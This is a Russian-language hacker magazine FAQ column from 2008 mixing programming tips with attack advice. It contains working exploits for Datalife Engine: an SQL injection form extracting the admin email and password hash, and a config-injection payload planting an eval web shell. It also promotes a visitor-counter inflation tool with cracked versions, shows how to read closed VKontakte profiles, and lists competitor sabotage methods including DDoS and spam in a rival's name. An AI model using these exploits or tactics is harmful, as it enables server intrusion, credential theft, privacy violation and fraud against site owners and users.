Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 119, НОЯБРЬ 2008 г.

FAQ UNITED

Маг / icq 884888 /



Q: Существует ли возможность создавать приложения с GUI -интерфейсом на PHP ?

A: Естественно! Сейчас существует большое количество программ для этой цели (достаточ но лишь погуглить). Из всего их множества могу выделить бесплатную miniPHP Studio (http://www.exvision.net) со встроенным визуальным редактором форм WinBinder. Все очень просто: скачивай php-студию с официального сайта, устанавливай, запускай и жми на кнопку WinBinder’а. Далее ты увидишь привычные поля для составления standalone приложения, какие ты уже мог видеть в Дельфях и Си++. Добавляй формы, кнопки, поля, затем сохраняй ся и экспортируй полученную форму в php-код. Теперь открывай полученный php-файл в miniPHP Studio и принимайся за программи рование логики. Например, простейший «Hello world» в GUI-интерфейсе на php будет выглядеть так (попробуй скомпилировать этот пример в качестве твоего первого php GUI-приложения):

<?php
//инициализируем WinBinder
wb_init();
//создаем форму программы
$winmain = wb_create_window(null,
AppWindow, 'Hello world', WBC_
CENTER, WBC_CENTER, 141, 46,
0x00000000, 0);
//задаем функцию, обрабатывающую со-
бытия программы
wb_set_handler($winmain, «process_main»);;
//рисуем фразу «Hello World!» в
форме
wb_create_control($winmain, Label,
'
Hello World!', 20, 20, 90, 15, 0,
0x00000000, 0, 0);
wb_main_loop();
function process_main($window, $id)
{
switch($id)
{
case IDCLOSE:
//закрываем программу при нажатии на
«крестик»
wb_destroy_window($window);
break; }} ?>

С помощью этой студии я написал для себя множество полезных SEO-тулз. Так что, настоятельно рекомендую тебе попробовать php в необычном для него качестве :).

Q: Как проще всего накручивать счетчики посетителей сайта?

A: Могу посоветовать почитать следующий топик на Античате: forum.antichat.ru/thread72015.html. Здесь обсуждается программный комплекс TopGen для накрутки посетителей (а также присутствуют ссылки на излеченные от различных болезней версии программы). Немного из описания предлагаемого софта:

  1. незаметная маскировка вашего IP-адреса псевдоадресами;
  2. накрутка через Прокси и через SOCKS-Прокси;
  3. имитация времени просмотра страниц вашего сайта;
  4. детальная настройка накрутки для каждого счетчика в отдельности;
  5. накрутка счетчиков одновременно и имитация параллельных посещений;
  6. имитация популярных браузеров и мобильных телефонов;
  7. обновление списков Прокси, SOCKS и др. в режиме онлайн. Редактирование этих списков;
  8. подробное ведение статистики показов и кликов;
  9. настройка расписаний для накрутки по дням недели и часам;
  10. накрутка кодов баннеров в виде java-cкриптов и IFrame;
  11. имитация Java-функций и пр;
  12. работа с «Cookies» и перехватывание редиректов. В любом случае — накручивать нехорошо! Любая SEO PPC партнерка сразу же распознает в тебе злостного нарушителя. Поэтому лучше юзай дорвейный траф :).;

Q: Как просмотреть какую-нибудь инфор мацию на «Вконтакте» у пользователя, который закрыл свою страничку?

A: Такая возможность есть (по крайней мере, пока). Для этого тебе всего лишь надо перейти по следующим ссылкам:

  1. http://vkontakte.ru/photos.php?id=[ид_требуемого_юзера] — просмотр фотоальбомов;
  2. http://vkontakte.ru/video.php?id=[ид_требуемого_юзера] — просмотр видеоальбомов;
  3. http://vkontakte.ru/notes.php?id=[ид_требуемого_юзера] — просмотр заметок;
  4. http://vkontakte.ru/groups.php?id=[ид_требуемого_юзера] — просмотр групп;
  5. http://vkontakte.ru/events.php?id=[ид_требуемого_юзера] — просмотр встреч и событий;
  6. http://vkontakte.ru/news.php?id=[ид_требуемого_юзера] — просмотр новостей пользователя.

Q: Как грамотно, с точки зрения поисковой оптимизации, сделать внутреннюю перелинковку сайта?

A: Лучшие повара SEO-кухни могут посоветовать тебе следующий рецепт внутренней перелинковки:

  1. При разработке сайта сразу же делай ориентацию на то, как создать меньшее количество «уровней», на которых будет теряться ссылочный вес.
  2. Определись со своими основными целевыми страницами и направляй на них сквозные ссылки с остальных страниц сайта (то есть, просто старайся направлять на эти самые главные паги как можно большее количество внутренних ссылок). В анкорах ссылок, естественно, указывай нужные кейворды.
  3. Не ставь на страницу сразу две и больше ссылок на одну и ту же пагу, ибо поисковики учтут только первую из них. Если этого не удалось избежать, ставь на первую ссылку правильный анкор, а на последующие — атрибут nofollow.
  4. Также nofollow следует ставить и на все малозначимые страницы (контакты, форма обратной связи, гостевая и т.д.), которые могут отбирать ссылочный вес.
  5. Не перебарщивай с исходящими ссылками на странице, ибо качество внутренних ссылок при таких условиях будет уменьшаться.
  6. Используй в анкорах внутренних ссылок только целевые анкоры. То есть, если ссылка ведет на страницу с заголовком «Купить слона», то незачем ставить на нее анкор вроде «Розовые слоники».
  7. Полезной для оптимизации фичей в блогах являются ссылки на похожие посты, а в магазинах — ссылки на товары, которые приобретают вместе с целевым товаром (либо «Бестселлеры»).
  8. Очень полезна внутренняя перелинковка по заданным кейвордам на страницах всего сайта (вроде Википедии; также существуют такие плагины для WordPress).

Q: Что ты знаешь о последних уязвимостях популярного отечественного движка Datalife Engine?

A: Недавно мне в руки попалась одна из последних версий этого движка, DLE 6.7 (http://dle-news.ru) с предустановленными модами. Ее приобрел мой друг и попросил посмотреть сорцы на предмет дырок. Сразу же в глаза бросилась функция check_xss(), которая проверяла строку $QUERY_STRING на предмет нехороших символов, вроде ‘ « > < %00. Большинство параметров в Datalife Engine при этом передаются с помощью массива $_REQUEST. А значит, проверяются лишь $_GET параметры, а с массивами $_POST, $_COOKIE, $_SERVER можно творить что угодно! И вот, для примера, простейшая SQL-инъекция в популярнейшем моде DLE Forum 2.1:

<form action=”http://evil.com/?do=forum&act=category» method=”post”>
<input name=”cid» value=»-99’ union select 1,2,3,4,5,6,7,8,9,concat(email,’:
’,password,’:’,name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_
group=1 limit 1/*”/>
<input type=”submit» value=”ok”/>
</form>

При удачном стечении обстоятельств на выходе ты получишь мыло, хэш пароля (md5(md5(pass))) и логин админа. Подобного рода скули наличествуют во всем движке. Если ты проник в админку DLE, то тебе, конечно, захочется поиметь шелл. Тут разработчики тоже сильно постарались нам помочь. Все дело в том, что настройки движка сохраняются в php-файл. Здесь есть две особенности: во-первых, при сохранении настроек на внедрение phpкода проверяется лишь значение параметра, а само имя параметра (имя элемента массива) остается чистым, а во-вторых, каждый новый элемент массива конфига, даже если он не присутствовал ранее, успешно добавится в тот самый php-файл настроек. Отсюда следует второй эксплойт, с помощью которого ты получишь шелл на сервере (открывать, естественно, под админом):

<form action="http://evil.com/admin.php?mod=options&action=syscon» method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$c
onfig=array('test]"value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>

Далее, к примеру, по ссылке http://evil.com/adm.php?mod=options&action=syscon&lala=ph pinfo(); ты увидишь вывод функции phpinfo(); Респект разработчикам за красоту и функциональность! Но, если к седьмой версии движка они не удосужились пройти элементарные penetration-тесты, то пускай не удивляются жалобам своих пользователей :).

Q: Какие существуют методы «насолить» конкурентам в SEO ?

A: Исключительно в ознакомительных целях я перечислю тебе некоторые способы грязной конкурентной борьбы в SEO-мире! Итак:

  1. Спам-репорт — это возможность «настучать» поисковику на сайт конкурента, который использует грязные технологии (скрытый текст, линкопомойки, скрытая переадресация и т.д.). Основные адреса для спам-репоротов:
  2. Грязные технологии. Суть метода — как можно больше отспамить сайты конкурента в гостевых, на форумах и т.д. В результате переизбытка ссылок сайт попадет в бан поисковика.
  3. DDOS-атака. Опасность для конкурента заключается в том, что бизнес простаивает. Ну и при длительном ДДОСе поисковики опять же банят недоступный сайт.
  4. Спам-рассылка от имени конкурента. Так как мыльный спам незаконен, при такого рода рассылке проекты конкурента вполне могут попасть в бан.
  5. Черный PR. Авторитетные статьи и негативные отзывы «специалистов» о товаре и услугах твоего конкурента :).
  6. Белый метод. Заключается в том, чтобы честными способами обогнать своего конкурента в бизнесе :). Советую именно этот метод. Дерзай!

Q: Какие существуют фри-хостинги с возможностью запуска PHP -скриптов?

A: Сервисов, предоставляющих подобные услуги, достаточно много. В основном, они буржуйские. Например:

Из русских подобных сервисов могу посоветовать старый добрый http://fatal.ru. Довольно неплохой список фри-хостов с поддержкой PHP, а также со сравнением и обзором основных возможностей сервисов ты сможешь увидеть на http://www.0php.com/free_PHP_ hosting.php.

Q: В этом году у вас был замечательный материал о том, как изменить внешний вид привычных страниц и улучшить функциональность веб-сервисов за счет JavaScript’ов, инжектируемых в страницу с помощью плагина для Firefox — Greasemonkey. Многие из них были совместимы с Oper’ой, которая имеет подобную функциональность по умолчанию. А как быть с Google Chrome?

A: Появившись совсем недавно в beta-версии, Chrome пока не имеет возможности подключения пользовательских скриптов. Но зато свежая версия Chromium, проекта с открытыми исходниками, который лежит в основе бразуера от Google, подобная функциональность уже добавлена. Правда, пока речь идет об урезанном варианте: Chrome обрабатывает скрипты только из одной директории c:scripts, а также игнорирует важные метаданные @include, запрещающие использования скрипта для конкретных сайтов. Чтобы разрешить исполнение скриптов Greasemonkey, необходимо добавить параметр командной строки «–enablegreasemonkey » при запуске Chromium. И это работает! Мы протестили скрипт Linkifier (http://userscripts.org/scripts/show/1024), преобразующий URLs и адреса email в гиперлинки. Забавно, что новую фичу добавил в Chromium Aaron Boodman, который является создателем расширения Greasemonkey для Firefox, а теперь сотрудничает с Google.

Q: Как прикрутить поддержку GTK к Visual Studio?

A: Для этого лучше всего взять не официальную сборку, а переработанный альтернативный проект gladeWin32 (http://sourceforge.net/projects/gladewin32/). К сожалению, в списке поддерживаемых IDE VS пока не присутствует. Поэтому после установки файлов (по умолчанию в папку C:GTK) придется прописать путь к библиотекам вручную. Для этого открываем окно с настройками «Menu - Tools - Options», выбираем слева «Projects and Solutions - VC++ Directories» и добавляем в правой части окна следующие пути:

C:GTKlibgtk-2.0include
C:GTKlibglib-2.0include
C:GTKincludecairo
C:GTKincludelibglade-2.0
C:GTKincludegtk-2.0
C:GTKincludelibxml2
C:GTKincludepango-1.0
C:GTKincludeglib-2.0
C:GTKincludeatk-1.0
C:GTKinclude

Затем выбираем «Show directories for: - Library files» и добавляем еще две директории:

C:GTKincludeglib-2.0glib
C:GTKlib

Готово!

Q: Как лучше всего синхронизировать файлы между двумя серверами на *nixплатформе?

A: Когда-то давно я бы тебе непременно порекомендовал использовать стандартную утилиту rcp. Но время ее прошло, и на смену пришла замечательная программа rsync. Это как раз то, что тебе нужно: утилита занимается тем, что синхронизирует копии файлов между разными машинами в Сети. RSync очень удобен, — его алгоритм построен так, что отслеживает, как изменился файл, и копирует только необходимые части. Сравнение осуществляется быстро, практически моментально. Кроме того, невероятно полезной будет способность работать через ssh — для этого достаточно лишь запустить его с дополнительным ключом /e, что обеспечивает защищенность канала без необходимости использовать дополнительный софт. Для уменьшения трафика rsync также умеет сжимать данные при передаче по Сети. Рассмотрим пример использования rsync как средство синхронизации файлов между серверами:

rsync -e ssh --progress -lzuogthvr
--compress-level=9
--delete-after root@<MASTER
SERVER>:/home/<USER> /home/

Пример для случая, когда копирование осуществляется в другую сторону:

rsync -e ssh --progress -lzuogthvr
--compress-level=9
--delete-after /home/<USER>
root@<MASTER SERVER>:/home/

Обрати внимание на последний слеш, так как он имеет значение для rsync. Если на конце исходной директории стоит «/», то это означает копирование содержимого директории; отсутствие слеша означает, что копируется директория и ее содержимое.

Содержание
ttfb: 17.660856246948 ms